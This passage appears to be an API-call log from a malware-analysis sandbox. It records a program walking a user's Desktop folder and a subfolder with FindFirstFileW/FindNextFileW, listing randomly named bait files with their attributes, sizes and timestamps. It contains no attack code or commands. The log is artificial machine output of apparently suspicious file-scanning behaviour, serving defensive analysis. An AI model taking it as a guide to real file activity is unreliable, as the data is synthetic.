returned 1 [0049.928] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f003f60, ftCreationTime.dwHighDateTime=0x1d630d1, ftLastAccessTime.dwLowDateTime=0xa1ee3cb0, ftLastAccessTime.dwHighDateTime=0x1d62ca1, ftLastWriteTime.dwLowDateTime=0xa1ee3cb0, ftLastWriteTime.dwHighDateTime=0x1d62ca1, nFileSizeHigh=0x0, nFileSizeLow=0x14f5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2GrtZWa8bwafT.m4a", cAlternateFileName="2GRTZW~1.M4A")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38266650, ftCreationTime.dwHighDateTime=0x1d62e8f, ftLastAccessTime.dwLowDateTime=0x17b1180, ftLastAccessTime.dwHighDateTime=0x1d62d29, ftLastWriteTime.dwLowDateTime=0x17b1180, ftLastWriteTime.dwHighDateTime=0x1d62d29, nFileSizeHigh=0x0, nFileSizeLow=0x2b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3wZ7Mu_7Sii083bHia.mp4", cAlternateFileName="3WZ7MU~1.MP4")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x160fb1a0, ftCreationTime.dwHighDateTime=0x1d62d4c, ftLastAccessTime.dwLowDateTime=0xac033b80, ftLastAccessTime.dwHighDateTime=0x1d62551, ftLastWriteTime.dwLowDateTime=0xac033b80, ftLastWriteTime.dwHighDateTime=0x1d62551, nFileSizeHigh=0x0, nFileSizeLow=0xe4b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="5q0zODZ-LfMVxb3ilnOK.gif", cAlternateFileName="5Q0ZOD~1.GIF")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94728e0, ftCreationTime.dwHighDateTime=0x1d630e9, ftLastAccessTime.dwLowDateTime=0x30b60780, ftLastAccessTime.dwHighDateTime=0x1d625c1, ftLastWriteTime.dwLowDateTime=0x30b60780, ftLastWriteTime.dwHighDateTime=0x1d625c1, nFileSizeHigh=0x0, nFileSizeLow=0x50f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="7zeOs_9hXhC.xlsx", cAlternateFileName="7ZEOS_~1.XLS")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323dd080, ftCreationTime.dwHighDateTime=0x1d62533, ftLastAccessTime.dwLowDateTime=0xbddb5cf0, ftLastAccessTime.dwHighDateTime=0x1d626e3, ftLastWriteTime.dwLowDateTime=0xbddb5cf0, ftLastWriteTime.dwHighDateTime=0x1d626e3, nFileSizeHigh=0x0, nFileSizeLow=0x3878, dwReserved0=0x0, dwReserved1=0x0, cFileName="A02Z nq-WGU.wav", cAlternateFileName="A02ZNQ~1.WAV")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43502860, ftCreationTime.dwHighDateTime=0x1d6291f, ftLastAccessTime.dwLowDateTime=0xd2314330, ftLastAccessTime.dwHighDateTime=0x1d62702, ftLastWriteTime.dwLowDateTime=0xd2314330, ftLastWriteTime.dwHighDateTime=0x1d62702, nFileSizeHigh=0x0, nFileSizeLow=0x9091, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNR9FioQRzT.bmp", cAlternateFileName="BNR9FI~1.BMP")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6596aa70, ftCreationTime.dwHighDateTime=0x1d63117, ftLastAccessTime.dwLowDateTime=0x46f76670, ftLastAccessTime.dwHighDateTime=0x1d623e5, ftLastWriteTime.dwLowDateTime=0x46f76670, ftLastWriteTime.dwHighDateTime=0x1d623e5, nFileSizeHigh=0x0, nFileSizeLow=0x1363e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS9yaJ_C6P.wav", cAlternateFileName="BS9YAJ~1.WAV")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4bd810, ftCreationTime.dwHighDateTime=0x1d62ae4, ftLastAccessTime.dwLowDateTime=0x5ba6a560, ftLastAccessTime.dwHighDateTime=0x1d628e8, ftLastWriteTime.dwLowDateTime=0x5ba6a560, ftLastWriteTime.dwHighDateTime=0x1d628e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJx-gO F.flv", cAlternateFileName="CJX-GO~1.FLV")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88fbd760, ftCreationTime.dwHighDateTime=0x1d62f55, ftLastAccessTime.dwLowDateTime=0x2e91c180, ftLastAccessTime.dwHighDateTime=0x1d6267d, ftLastWriteTime.dwLowDateTime=0x2e91c180, ftLastWriteTime.dwHighDateTime=0x1d6267d, nFileSizeHigh=0x0, nFileSizeLow=0x15c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="DrYVi8B0NgFJ6uMAsmK.xlsx", cAlternateFileName="DRYVI8~1.XLS")) returned 1 [0049.929] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09d7e60, ftCreationTime.dwHighDateTime=0x1d6319e, ftLastAccessTime.dwLowDateTime=0xc048750, ftLastAccessTime.dwHighDateTime=0x1d628ea, ftLastWriteTime.dwLowDateTime=0xc048750, ftLastWriteTime.dwHighDateTime=0x1d628ea, nFileSizeHigh=0x0, nFileSizeLow=0x95de, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dtv3fQc75.mp4", cAlternateFileName="DTV3FQ~1.MP4")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3a194e0, ftCreationTime.dwHighDateTime=0x1d62c0c, ftLastAccessTime.dwLowDateTime=0xf0e28300, ftLastAccessTime.dwHighDateTime=0x1d62a38, ftLastWriteTime.dwLowDateTime=0xf0e28300, ftLastWriteTime.dwHighDateTime=0x1d62a38, nFileSizeHigh=0x0, nFileSizeLow=0x17542, dwReserved0=0x0, dwReserved1=0x0, cFileName="e5QSGhL0KO.gif", cAlternateFileName="E5QSGH~1.GIF")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f4139f0, ftCreationTime.dwHighDateTime=0x1d62a36, ftLastAccessTime.dwLowDateTime=0xe8ea5a40, ftLastAccessTime.dwHighDateTime=0x1d629f4, ftLastWriteTime.dwLowDateTime=0xe8ea5a40, ftLastWriteTime.dwHighDateTime=0x1d629f4, nFileSizeHigh=0x0, nFileSizeLow=0x90ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="f0xyfJINvD.mkv", cAlternateFileName="F0XYFJ~1.MKV")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a2b5f0, ftCreationTime.dwHighDateTime=0x1d62a59, ftLastAccessTime.dwLowDateTime=0x738d5a30, ftLastAccessTime.dwHighDateTime=0x1d622ca, ftLastWriteTime.dwLowDateTime=0x738d5a30, ftLastWriteTime.dwHighDateTime=0x1d622ca, nFileSizeHigh=0x0, nFileSizeLow=0x10294, dwReserved0=0x0, dwReserved1=0x0, cFileName="F7Qr70lRsaF-XPy.jpg", cAlternateFileName="F7QR70~1.JPG")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c3c80, ftCreationTime.dwHighDateTime=0x1d6b9ae, ftLastAccessTime.dwLowDateTime=0x655c3c80, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0xdc90d100, ftLastWriteTime.dwHighDateTime=0x1d6b9ac, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="FMQfOR9qzmUMMeEO.exe", cAlternateFileName="FMQFOR~1.EXE")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d68c800, ftCreationTime.dwHighDateTime=0x1d62674, ftLastAccessTime.dwLowDateTime=0x16f6d6f0, ftLastAccessTime.dwHighDateTime=0x1d63226, ftLastWriteTime.dwLowDateTime=0x16f6d6f0, ftLastWriteTime.dwHighDateTime=0x1d63226, nFileSizeHigh=0x0, nFileSizeLow=0x17345, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBPyK8AvQoRwdDsq.mp4", cAlternateFileName="GBPYK8~1.MP4")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29f15440, ftCreationTime.dwHighDateTime=0x1d62391, ftLastAccessTime.dwLowDateTime=0xa836c830, ftLastAccessTime.dwHighDateTime=0x1d62cba, ftLastWriteTime.dwLowDateTime=0xa836c830, ftLastWriteTime.dwHighDateTime=0x1d62cba, nFileSizeHigh=0x0, nFileSizeLow=0xaf17, dwReserved0=0x0, dwReserved1=0x0, cFileName="GNqhTWL5zVRSDdWd4-.wav", cAlternateFileName="GNQHTW~1.WAV")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36dc9cd0, ftCreationTime.dwHighDateTime=0x1d625be, ftLastAccessTime.dwLowDateTime=0x1c6d8eb0, ftLastAccessTime.dwHighDateTime=0x1d6302a, ftLastWriteTime.dwLowDateTime=0x1c6d8eb0, ftLastWriteTime.dwHighDateTime=0x1d6302a, nFileSizeHigh=0x0, nFileSizeLow=0x13f65, dwReserved0=0x0, dwReserved1=0x0, cFileName="iB2mk.m4a", cAlternateFileName="")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f7c6e0, ftCreationTime.dwHighDateTime=0x1d623b0, ftLastAccessTime.dwLowDateTime=0x12a66920, ftLastAccessTime.dwHighDateTime=0x1d63024, ftLastWriteTime.dwLowDateTime=0x12a66920, ftLastWriteTime.dwHighDateTime=0x1d63024, nFileSizeHigh=0x0, nFileSizeLow=0x1295b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IHXCeH4- 6qh6Uvan.docx", cAlternateFileName="IHXCEH~1.DOC")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e187ce0, ftCreationTime.dwHighDateTime=0x1d62524, ftLastAccessTime.dwLowDateTime=0xe400ec60, ftLastAccessTime.dwHighDateTime=0x1d62e77, ftLastWriteTime.dwLowDateTime=0xe400ec60, ftLastWriteTime.dwHighDateTime=0x1d62e77, nFileSizeHigh=0x0, nFileSizeLow=0xb1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="iyDlR.docx", cAlternateFileName="IYDLR~1.DOC")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e31d380, ftCreationTime.dwHighDateTime=0x1d627a3, ftLastAccessTime.dwLowDateTime=0x51fe7ca0, ftLastAccessTime.dwHighDateTime=0x1d624c8, ftLastWriteTime.dwLowDateTime=0x51fe7ca0, ftLastWriteTime.dwHighDateTime=0x1d624c8, nFileSizeHigh=0x0, nFileSizeLow=0x556f, dwReserved0=0x0, dwReserved1=0x0, cFileName="JnUXTq9KCu cQQ1O8h.jpg", cAlternateFileName="JNUXTQ~1.JPG")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e08fd40, ftCreationTime.dwHighDateTime=0x1d62b22, ftLastAccessTime.dwLowDateTime=0x4c01e670, ftLastAccessTime.dwHighDateTime=0x1d63161, ftLastWriteTime.dwLowDateTime=0x4c01e670, ftLastWriteTime.dwHighDateTime=0x1d63161, nFileSizeHigh=0x0, nFileSizeLow=0xc067, dwReserved0=0x0, dwReserved1=0x0, cFileName="KJkjIAjuQSKeZ-kZiP.avi", cAlternateFileName="KJKJIA~1.AVI")) returned 1 [0049.930] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c24c90, ftCreationTime.dwHighDateTime=0x1d62456, ftLastAccessTime.dwLowDateTime=0xf41b4580, ftLastAccessTime.dwHighDateTime=0x1d628e8, ftLastWriteTime.dwLowDateTime=0xf41b4580, ftLastWriteTime.dwHighDateTime=0x1d628e8, nFileSizeHigh=0x0, nFileSizeLow=0x18bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="nN1UvL.odt", cAlternateFileName="")) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2103d70, ftCreationTime.dwHighDateTime=0x1d62d0c, ftLastAccessTime.dwLowDateTime=0xeef315b0, ftLastAccessTime.dwHighDateTime=0x1d62730, ftLastWriteTime.dwLowDateTime=0xeef315b0, ftLastWriteTime.dwHighDateTime=0x1d62730, nFileSizeHigh=0x0, nFileSizeLow=0x5313, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q5qz.wav", cAlternateFileName="")) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4663e3a0, ftCreationTime.dwHighDateTime=0x1d62ce6, ftLastAccessTime.dwLowDateTime=0x708fe370, ftLastAccessTime.dwHighDateTime=0x1d62e14, ftLastWriteTime.dwLowDateTime=0x708fe370, ftLastWriteTime.dwHighDateTime=0x1d62e14, nFileSizeHigh=0x0, nFileSizeLow=0xdfbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rrntvx.odp", cAlternateFileName="")) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810f4870, ftCreationTime.dwHighDateTime=0x1d6247e, ftLastAccessTime.dwLowDateTime=0x581c5a30, ftLastAccessTime.dwHighDateTime=0x1d6310c, ftLastWriteTime.dwLowDateTime=0x581c5a30, ftLastWriteTime.dwHighDateTime=0x1d6310c, nFileSizeHigh=0x0, nFileSizeLow=0x9f85, dwReserved0=0x0, dwReserved1=0x0, cFileName="s2HceE.swf", cAlternateFileName="")) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d08cb80, ftCreationTime.dwHighDateTime=0x1d6324c, ftLastAccessTime.dwLowDateTime=0x7a9cbcd0, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0x7a9cbcd0, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TE_1NVah4", cAlternateFileName="TE_1NV~1")) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x990e2e80, ftCreationTime.dwHighDateTime=0x1d62c69, ftLastAccessTime.dwLowDateTime=0xf72c7990, ftLastAccessTime.dwHighDateTime=0x1d623b8, ftLastWriteTime.dwLowDateTime=0xf72c7990, ftLastWriteTime.dwHighDateTime=0x1d623b8, nFileSizeHigh=0x0, nFileSizeLow=0xb6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdg9ibnIO5.mp3", cAlternateFileName="WDG9IB~1.MP3")) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de15670, ftCreationTime.dwHighDateTime=0x1d62ce2, ftLastAccessTime.dwLowDateTime=0x2ee27b40, ftLastAccessTime.dwHighDateTime=0x1d62a3b, ftLastWriteTime.dwLowDateTime=0x2ee27b40, ftLastWriteTime.dwHighDateTime=0x1d62a3b, nFileSizeHigh=0x0, nFileSizeLow=0x2e22, dwReserved0=0x0, dwReserved1=0x0, cFileName="wRQQ37a2M.avi", cAlternateFileName="WRQQ37~1.AVI")) returned 1 [0049.931] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e445b20, ftCreationTime.dwHighDateTime=0x1d625fd, ftLastAccessTime.dwLowDateTime=0xddaf9100, ftLastAccessTime.dwHighDateTime=0x1d629ad, ftLastWriteTime.dwLowDateTime=0xddaf9100, ftLastWriteTime.dwHighDateTime=0x1d629ad, nFileSizeHigh=0x0, nFileSizeLow=0xc6da, dwReserved0=0x0, dwReserved1=0x0, cFileName="WYwOKpwsUPH-.m4a", cAlternateFileName="WYWOKP~1.M4A")) returned 1 [0049.932] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eacff10, ftCreationTime.dwHighDateTime=0x1d62fae, ftLastAccessTime.dwLowDateTime=0x888532d0, ftLastAccessTime.dwHighDateTime=0x1d62678, ftLastWriteTime.dwLowDateTime=0x888532d0, ftLastWriteTime.dwHighDateTime=0x1d62678, nFileSizeHigh=0x0, nFileSizeLow=0x1791, dwReserved0=0x0, dwReserved1=0x0, cFileName="xnjlX4qTThmIA.png", cAlternateFileName="XNJLX4~1.PNG")) returned 1 [0049.932] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3345570, ftCreationTime.dwHighDateTime=0x1d62ff6, ftLastAccessTime.dwLowDateTime=0x81a6e970, ftLastAccessTime.dwHighDateTime=0x1d63043, ftLastWriteTime.dwLowDateTime=0x81a6e970, ftLastWriteTime.dwHighDateTime=0x1d63043, nFileSizeHigh=0x0, nFileSizeLow=0x15682, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAWe8TJU.doc", cAlternateFileName="")) returned 1 [0049.932] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12aa1480, ftCreationTime.dwHighDateTime=0x1d62561, ftLastAccessTime.dwLowDateTime=0xf97b33c0, ftLastAccessTime.dwHighDateTime=0x1d62c38, ftLastWriteTime.dwLowDateTime=0xf97b33c0, ftLastWriteTime.dwHighDateTime=0x1d62c38, nFileSizeHigh=0x0, nFileSizeLow=0x6158, dwReserved0=0x0, dwReserved1=0x0, cFileName="_i-6kqrNHCc1Gp.xls", cAlternateFileName="_I-6KQ~1.XLS")) returned 1 [0049.932] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0049.932] FindClose (in: hFindFile=0x9b9c90 | out: hFindFile=0x9b9c90) returned 1 [0049.932] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d08cb80, ftCreationTime.dwHighDateTime=0x1d6324c, ftLastAccessTime.dwLowDateTime=0x7a9cbcd0, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0x7a9cbcd0, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b9c90 [0049.932] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d08cb80, ftCreationTime.dwHighDateTime=0x1d6324c, ftLastAccessTime.dwLowDateTime=0x7a9cbcd0, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0x7a9cbcd0, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.932] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe034f750, ftCreationTime.dwHighDateTime=0x1d623a2, ftLastAccessTime.dwLowDateTime=0xd5965680, ftLastAccessTime.dwHighDateTime=0x1d6265a, ftLastWriteTime.dwLowDateTime=0xd5965680, ftLastWriteTime.dwHighDateTime=0x1d6265a, nFileSizeHigh=0x0, nFileSizeLow=0x4285, dwReserved0=0x0, dwReserved1=0x0, cFileName="BwJ0o.pdf", cAlternateFileName="")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7ecb400, ftCreationTime.dwHighDateTime=0x1d631a8, ftLastAccessTime.dwLowDateTime=0x912caeb0, ftLastAccessTime.dwHighDateTime=0x1d62a3b, ftLastWriteTime.dwLowDateTime=0x912caeb0, ftLastWriteTime.dwHighDateTime=0x1d62a3b, nFileSizeHigh=0x0, nFileSizeLow=0x57f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="eY7Vy fW9.avi", cAlternateFileName="EY7VYF~1.AVI")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82e3ed0, ftCreationTime.dwHighDateTime=0x1d62b6a, ftLastAccessTime.dwLowDateTime=0xaeac4f50, ftLastAccessTime.dwHighDateTime=0x1d6238c, ftLastWriteTime.dwLowDateTime=0xaeac4f50, ftLastWriteTime.dwHighDateTime=0x1d6238c, nFileSizeHigh=0x0, nFileSizeLow=0xe269, dwReserved0=0x0, dwReserved1=0x0, cFileName="FkeLyGSgPK Fr.wav", cAlternateFileName="FKELYG~1.WAV")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48c23340, ftCreationTime.dwHighDateTime=0x1d631fa, ftLastAccessTime.dwLowDateTime=0x810a00f0, ftLastAccessTime.dwHighDateTime=0x1d622c0, ftLastWriteTime.dwLowDateTime=0x810a00f0, ftLastWriteTime.dwHighDateTime=0x1d622c0, nFileSizeHigh=0x0, nFileSizeLow=0xe10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="gSZ285dW.wav", cAlternateFileName="")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db96df0, ftCreationTime.dwHighDateTime=0x1d62f04, ftLastAccessTime.dwLowDateTime=0x2103b6a0, ftLastAccessTime.dwHighDateTime=0x1d62dcf, ftLastWriteTime.dwLowDateTime=0x2103b6a0, ftLastWriteTime.dwHighDateTime=0x1d62dcf, nFileSizeHigh=0x0, nFileSizeLow=0x93ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="k7jXCNM8fl.docx", cAlternateFileName="K7JXCN~1.DOC")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937aef60, ftCreationTime.dwHighDateTime=0x1d625a4, ftLastAccessTime.dwLowDateTime=0x6bfa97e0, ftLastAccessTime.dwHighDateTime=0x1d62e98, ftLastWriteTime.dwLowDateTime=0x6bfa97e0, ftLastWriteTime.dwHighDateTime=0x1d62e98, nFileSizeHigh=0x0, nFileSizeLow=0x5725, dwReserved0=0x0, dwReserved1=0x0, cFileName="kzPyrdL.mp4", cAlternateFileName="")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69ef5f0, ftCreationTime.dwHighDateTime=0x1d6311a, ftLastAccessTime.dwLowDateTime=0x742d8fb0, ftLastAccessTime.dwHighDateTime=0x1d62e2c, ftLastWriteTime.dwLowDateTime=0x742d8fb0, ftLastWriteTime.dwHighDateTime=0x1d62e2c, nFileSizeHigh=0x0, nFileSizeLow=0x2cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lHl2bH6.wav", cAlternateFileName="")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2df9d60, ftCreationTime.dwHighDateTime=0x1d62ad3, ftLastAccessTime.dwLowDateTime=0x331bef50, ftLastAccessTime.dwHighDateTime=0x1d62f56, ftLastWriteTime.dwLowDateTime=0x331bef50, ftLastWriteTime.dwHighDateTime=0x1d62f56, nFileSizeHigh=0x0, nFileSizeLow=0x15a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="oYho9.flv", cAlternateFileName="")) returned 1 [0049.933] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4629790, ftCreationTime.dwHighDateTime=0x1d630ec, ftLastAccessTime.dwLowDateTime=0x3b2b770, ftLastAccessTime.dwHighDateTime=0x1d62c78, ftLastWriteTime.dwLowDateTime=0x3b2b770, ftLastWriteTime.dwHighDateTime=0x1d62c78, nFileSizeHigh=0x0, nFileSizeLow=0x1ca1, dwReserved0=0x0, dwReserved1=0x0, cFileName="QS5UgW9cjDzUPM.flv", cAlternateFileName="QS5UGW~1.FLV")) returned 1 [0049.933] FindNextFileW (in: 